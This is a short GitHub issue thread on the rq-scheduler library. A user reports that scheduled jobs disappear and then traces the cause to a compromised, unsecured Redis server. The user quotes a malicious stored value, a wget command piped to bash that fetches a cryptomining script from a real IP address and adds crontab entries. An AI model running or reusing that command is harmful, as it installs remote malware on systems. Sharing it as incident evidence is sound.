rq / rq-scheduler

A lightweight library that adds job scheduling capabilities to RQ (Redis Queue)
MIT License
1.45k stars 230 forks source link

Jobs scheduled to run forever disappear after a couple days. #181

Closed wroscoe closed 6 years ago

wroscoe commented 6 years ago

I'm trying to use rq-scheduler to run regular jobs on remote computers. This works great for a couple days then then the scheduled jobs disappear. Is this a common problem with an easy fix? It's super frustrating to debug. Hear is an issue I created in the rq repo that describes the problem.

https://github.com/rq/rq/issues/932

wroscoe commented 6 years ago

Ugghhh.. This looks like the result of an unsecured redis server that had a trojan installed. https://www.riskbasedsecurity.com/2016/07/redis-over-6000-installations-compromised/ Other malitious keys I found were lol1, lol2, trojan1, trojan2 that have values like b'\n\n 1 wget -q -O- http://185.198.58.149/js/angular.min.js | bash \n\n' which downloads a script to mine cryptocurency and installs stuff in your crontab.